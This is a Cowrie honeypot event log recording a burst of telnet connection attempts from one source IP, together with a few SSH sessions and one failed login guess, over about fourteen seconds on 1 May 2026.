{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"d50630152b08","protocol":"telnet","message":"New connection: 64.235.40.29:55596 (10.17.0.5:23) [session: d50630152b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:51.995876Z"}
{"eventid":"cowrie.session.closed","duration":30.690577745437622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.035680Z","src_ip":"64.235.40.29","session":"55a7a2a657fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427160263061523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.059762Z","src_ip":"64.235.40.29","session":"87be1a63530b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55604,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba75fdfed5a","protocol":"telnet","message":"New connection: 64.235.40.29:55604 (10.17.0.5:23) [session: eba75fdfed5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.197172Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.432849Z","src_ip":"186.80.18.158","session":"5c923ffdf517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55620,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8753cbc350","protocol":"telnet","message":"New connection: 64.235.40.29:55620 (10.17.0.5:23) [session: 1a8753cbc350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.636497Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"506e8d70706b","protocol":"telnet","message":"New connection: 64.235.40.29:55626 (10.17.0.5:23) [session: 506e8d70706b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.866628Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55636,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f66efa2a9f2","protocol":"telnet","message":"New connection: 64.235.40.29:55636 (10.17.0.5:23) [session: 1f66efa2a9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:52.920002Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55644,"dst_ip":"10.17.0.5","dst_port":23,"session":"30cdfb4ed372","protocol":"telnet","message":"New connection: 64.235.40.29:55644 (10.17.0.5:23) [session: 30cdfb4ed372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:53.052889Z"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:53.096699Z","src_ip":"122.168.114.167","session":"09423389ebfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.866498947143555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:53.401298Z","src_ip":"64.235.40.29","session":"6b36d1bb2b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad5672d5dfc","protocol":"telnet","message":"New connection: 64.235.40.29:55648 (10.17.0.5:23) [session: 6ad5672d5dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:53.917997Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"620e586aad63","protocol":"telnet","message":"New connection: 64.235.40.29:55656 (10.17.0.5:23) [session: 620e586aad63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:54.291985Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55674,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d65a959fc99","protocol":"telnet","message":"New connection: 64.235.40.29:55674 (10.17.0.5:23) [session: 5d65a959fc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:54.370000Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35796,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d77dc8257f","protocol":"telnet","message":"New connection: 64.235.40.29:35796 (10.17.0.5:23) [session: a0d77dc8257f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:54.902061Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c182c8a982","protocol":"telnet","message":"New connection: 64.235.40.29:35802 (10.17.0.5:23) [session: c1c182c8a982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:54.940726Z"}
{"eventid":"cowrie.session.closed","duration":30.98712420463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.088512Z","src_ip":"64.235.40.29","session":"4457f0292e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35814,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c9670381d8","protocol":"telnet","message":"New connection: 64.235.40.29:35814 (10.17.0.5:23) [session: 05c9670381d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.307884Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55672,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfe15c72266d","protocol":"telnet","message":"New connection: 64.235.40.29:55672 (10.17.0.5:23) [session: bfe15c72266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.327278Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bce3ea41db8","protocol":"telnet","message":"New connection: 64.235.40.29:35824 (10.17.0.5:23) [session: 1bce3ea41db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.335386Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35826,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1728d79fe87","protocol":"telnet","message":"New connection: 64.235.40.29:35826 (10.17.0.5:23) [session: d1728d79fe87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.613168Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ff90b3f09a1","protocol":"telnet","message":"New connection: 64.235.40.29:35840 (10.17.0.5:23) [session: 0ff90b3f09a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:55.772701Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35850,"dst_ip":"10.17.0.5","dst_port":23,"session":"31846ff49e05","protocol":"telnet","message":"New connection: 64.235.40.29:35850 (10.17.0.5:23) [session: 31846ff49e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:56.060049Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35852,"dst_ip":"10.17.0.5","dst_port":23,"session":"7729f02f256f","protocol":"telnet","message":"New connection: 64.235.40.29:35852 (10.17.0.5:23) [session: 7729f02f256f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:56.190586Z"}
{"eventid":"cowrie.session.closed","duration":31.48395609855652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:56.623258Z","src_ip":"64.235.40.29","session":"fb423f8dadf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35854,"dst_ip":"10.17.0.5","dst_port":23,"session":"780b746fa175","protocol":"telnet","message":"New connection: 64.235.40.29:35854 (10.17.0.5:23) [session: 780b746fa175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:56.679901Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2330ead2dc4","protocol":"telnet","message":"New connection: 64.235.40.29:35856 (10.17.0.5:23) [session: f2330ead2dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:57.188001Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35862,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb12fca4370","protocol":"telnet","message":"New connection: 64.235.40.29:35862 (10.17.0.5:23) [session: ccb12fca4370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:57.194728Z"}
{"eventid":"cowrie.session.closed","duration":31.234965562820435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:57.215052Z","src_ip":"64.235.40.29","session":"5ddc638f328b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a48faa7ab5a","protocol":"telnet","message":"New connection: 64.235.40.29:35870 (10.17.0.5:23) [session: 9a48faa7ab5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:57.292599Z"}
{"eventid":"cowrie.session.closed","duration":30.87772250175476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:58.056236Z","src_ip":"64.235.40.29","session":"bd6286ccc4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35878,"dst_ip":"10.17.0.5","dst_port":23,"session":"5480b9a080f9","protocol":"telnet","message":"New connection: 64.235.40.29:35878 (10.17.0.5:23) [session: 5480b9a080f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:58.118722Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35880,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2d8fbcfaaad","protocol":"telnet","message":"New connection: 64.235.40.29:35880 (10.17.0.5:23) [session: f2d8fbcfaaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:58.174156Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d07569bb18fc","protocol":"telnet","message":"New connection: 64.235.40.29:35896 (10.17.0.5:23) [session: d07569bb18fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.035764Z"}
{"eventid":"cowrie.session.closed","duration":30.99922776222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.095777Z","src_ip":"64.235.40.29","session":"44b158691bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82767605781555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.164068Z","src_ip":"64.235.40.29","session":"b12a29df0663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35900,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65247dd87b2","protocol":"telnet","message":"New connection: 64.235.40.29:35900 (10.17.0.5:23) [session: a65247dd87b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.172640Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35910,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c5a4dc0643","protocol":"telnet","message":"New connection: 64.235.40.29:35910 (10.17.0.5:23) [session: 30c5a4dc0643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.208562Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe97a342d6c9","protocol":"telnet","message":"New connection: 64.235.40.29:35924 (10.17.0.5:23) [session: fe97a342d6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.271655Z"}
{"eventid":"cowrie.session.closed","duration":"30.1","message":"Connection lost after 30.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:59.564002Z","src_ip":"122.168.114.167","session":"09423389ebfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35936,"dst_ip":"10.17.0.5","dst_port":23,"session":"3743e25e72a7","protocol":"telnet","message":"New connection: 64.235.40.29:35936 (10.17.0.5:23) [session: 3743e25e72a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:00.278312Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35940,"dst_ip":"10.17.0.5","dst_port":23,"session":"63bb67284d12","protocol":"telnet","message":"New connection: 64.235.40.29:35940 (10.17.0.5:23) [session: 63bb67284d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:00.570954Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35950,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eff82e31285","protocol":"telnet","message":"New connection: 64.235.40.29:35950 (10.17.0.5:23) [session: 2eff82e31285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:00.675028Z"}
{"eventid":"cowrie.session.closed","duration":31.677226305007935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.024923Z","src_ip":"64.235.40.29","session":"d78c65eefab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972012519836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.203159Z","src_ip":"64.235.40.29","session":"291e13135010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35972,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcf8667704c","protocol":"telnet","message":"New connection: 64.235.40.29:35972 (10.17.0.5:23) [session: 6bcf8667704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.320404Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35984,"dst_ip":"10.17.0.5","dst_port":23,"session":"792fca1583b7","protocol":"telnet","message":"New connection: 64.235.40.29:35984 (10.17.0.5:23) [session: 792fca1583b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.389385Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce5a3ea5c40b","protocol":"telnet","message":"New connection: 64.235.40.29:35994 (10.17.0.5:23) [session: ce5a3ea5c40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.405539Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":51092,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d5042fc9b4","protocol":"telnet","message":"New connection: 135.148.33.217:51092 (10.17.0.5:23) [session: c7d5042fc9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.473493Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee3bcb7cdafa","protocol":"telnet","message":"New connection: 64.235.40.29:35962 (10.17.0.5:23) [session: ee3bcb7cdafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.868793Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36004,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb804e4d80cb","protocol":"telnet","message":"New connection: 64.235.40.29:36004 (10.17.0.5:23) [session: bb804e4d80cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:01.916025Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95ac7c0b947","protocol":"telnet","message":"New connection: 64.235.40.29:36016 (10.17.0.5:23) [session: b95ac7c0b947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.020315Z"}
{"eventid":"cowrie.session.closed","duration":30.844557285308838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.039789Z","src_ip":"64.235.40.29","session":"47ccc538398c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680870532989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.045780Z","src_ip":"64.235.40.29","session":"31fab2d0652a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36032,"dst_ip":"10.17.0.5","dst_port":23,"session":"b40cb56d88b5","protocol":"telnet","message":"New connection: 64.235.40.29:36032 (10.17.0.5:23) [session: b40cb56d88b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.103833Z"}
{"eventid":"cowrie.session.closed","duration":30.54932451248169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.117284Z","src_ip":"64.235.40.29","session":"b14a656e2e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780919551849365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.124270Z","src_ip":"64.235.40.29","session":"d2b6fc0aef26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36042,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb25f5ce7090","protocol":"telnet","message":"New connection: 64.235.40.29:36042 (10.17.0.5:23) [session: fb25f5ce7090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.169086Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc259ea674be","protocol":"telnet","message":"New connection: 64.235.40.29:35966 (10.17.0.5:23) [session: fc259ea674be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.189791Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36044,"dst_ip":"10.17.0.5","dst_port":23,"session":"df588157aaea","protocol":"telnet","message":"New connection: 64.235.40.29:36044 (10.17.0.5:23) [session: df588157aaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.761974Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36046,"dst_ip":"10.17.0.5","dst_port":23,"session":"3262e6927831","protocol":"telnet","message":"New connection: 64.235.40.29:36046 (10.17.0.5:23) [session: 3262e6927831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:02.992570Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"280986a9dbb7","protocol":"telnet","message":"New connection: 64.235.40.29:36058 (10.17.0.5:23) [session: 280986a9dbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:03.054855Z"}
{"eventid":"cowrie.session.closed","duration":30.51586604118347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:03.120456Z","src_ip":"62.171.135.55","session":"db99589af626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36038,"dst_ip":"10.17.0.5","dst_port":23,"session":"5566b0b3c06c","protocol":"telnet","message":"New connection: 64.235.40.29:36038 (10.17.0.5:23) [session: 5566b0b3c06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:03.149987Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":53262,"dst_ip":"10.17.0.5","dst_port":23,"session":"315c9d94f058","protocol":"telnet","message":"New connection: 135.148.33.217:53262 (10.17.0.5:23) [session: 315c9d94f058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:03.404119Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36064,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ab6f41ff12","protocol":"telnet","message":"New connection: 64.235.40.29:36064 (10.17.0.5:23) [session: 10ab6f41ff12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:03.705524Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36080,"dst_ip":"10.17.0.5","dst_port":23,"session":"789e9f3301a4","protocol":"telnet","message":"New connection: 64.235.40.29:36080 (10.17.0.5:23) [session: 789e9f3301a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.062484Z"}
{"eventid":"cowrie.session.closed","duration":31.004597187042236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.124283Z","src_ip":"64.235.40.29","session":"4895a21a159f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef9bb764bcf6","protocol":"telnet","message":"New connection: 64.235.40.29:36092 (10.17.0.5:23) [session: ef9bb764bcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.128854Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e46ba77ea5","protocol":"telnet","message":"New connection: 64.235.40.29:36104 (10.17.0.5:23) [session: b8e46ba77ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.204996Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff7fde966a0","protocol":"telnet","message":"New connection: 64.235.40.29:36120 (10.17.0.5:23) [session: aff7fde966a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.210600Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36122,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f4964a4ef6b","protocol":"telnet","message":"New connection: 64.235.40.29:36122 (10.17.0.5:23) [session: 7f4964a4ef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.385428Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":36134,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdb3b826bb5","protocol":"telnet","message":"New connection: 64.235.40.29:36134 (10.17.0.5:23) [session: cfdb3b826bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:04.734544Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"822a3cdd39e7","protocol":"telnet","message":"New connection: 64.235.40.29:40636 (10.17.0.5:23) [session: 822a3cdd39e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.187702Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40644,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5aeb037992","protocol":"telnet","message":"New connection: 64.235.40.29:40644 (10.17.0.5:23) [session: 0b5aeb037992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.212350Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cbe4419798","protocol":"telnet","message":"New connection: 64.235.40.29:40656 (10.17.0.5:23) [session: d7cbe4419798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.424629Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f97c8dc3f5","protocol":"telnet","message":"New connection: 64.235.40.29:40658 (10.17.0.5:23) [session: 19f97c8dc3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.456931Z"}
